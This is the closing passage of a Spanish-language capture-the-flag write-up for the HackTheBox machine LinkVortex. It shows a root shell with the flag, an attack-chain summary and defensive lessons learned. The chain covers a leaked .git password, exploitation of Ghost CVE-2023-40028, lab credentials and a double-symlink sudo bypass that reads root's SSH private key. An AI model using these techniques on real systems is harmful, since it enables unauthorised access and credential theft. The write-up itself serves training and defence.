Last login: Tue Dec 31 00:59:54 2024 from 127.0.0.1
root@linkvortex:~# ls
root.txt
root@linkvortex:~# cat root.txt
208088e89eaac9d6badfe8e42e82b61f

Shell completa como root. Máquina comprometida.

el panel de HackTheBox confirma que LinkVortex ha sido comprometida

Cadena de ataque

web :80 (Ghost 5.58)  →  vhost fuzz  →  dev.linkvortex.htb  →  /.git expuesto
   │  wget -r .git  →  git diff --staged  →  OctopiFociPilfer45
   ▼
/ghost login (test@example.com ✗ → admin@linkvortex.htb ✓)
   │
   ▼
CVE-2023-40028 (lectura de ficheros por symlink dentro del contenedor)
   │  config.production.json  →  bob:fibber-talented-worth
   ▼
ssh bob  →  sudo clean_symlink.sh *.png + env_keep CHECK_CONTENT
   │  pwn.png → pwn.txt → /root/.ssh/id_rsa   (readlink solo ve el primer salto)
   ▼
ssh -i id_rsa root@localhost  →  root

Lecciones aprendidas

  • Un /.git accesible es el código fuente y su historial al completo. El subdominio de desarrollo filtraba el repositorio, y un commit guardaba una contraseña real en un fichero de tests. Nunca servir .git desde la web ni versionar secretos: si ya entraron al historial, rotarlos.
  • Un positivo de fuerza bruta hay que verificarlo a mano. hydra marcó como válidas las diez primeras contraseñas de rockyou.txt porque el 429 del limitador de intentos no contenía la cadena de error que buscaba. Diez aciertos seguidos nunca son diez aciertos.
  • Los mensajes de error diferenciados enumeran cuentas. "There is no user with that email address" nos dijo que el fallo estaba en el correo y no en la contraseña, y de ahí salió admin@linkvortex.htb. Un panel bien hecho devuelve el mismo mensaje en ambos casos.
  • Cuidado con las versiones que arrastran CVEs conocidas. Ghost 5.58 permitía la lectura arbitraria de ficheros a cualquier usuario autenticado. Y el contenedor limitó el daño (leímos el interior de la imagen, no el anfitrión), pero no lo evitó: la configuración copiada dentro llevaba credenciales que sí valían fuera.
  • Validar el enlace, no solo su primer salto. El script de sudo comprobaba el destino directo con readlink; un segundo enlace burlaba el filtro. Resolver la ruta real (readlink -f) antes de decidir, y desconfiar de las variables de entorno conservadas con env_keep.
Cheatsheet de comandos 28 comandos

Repaso rápido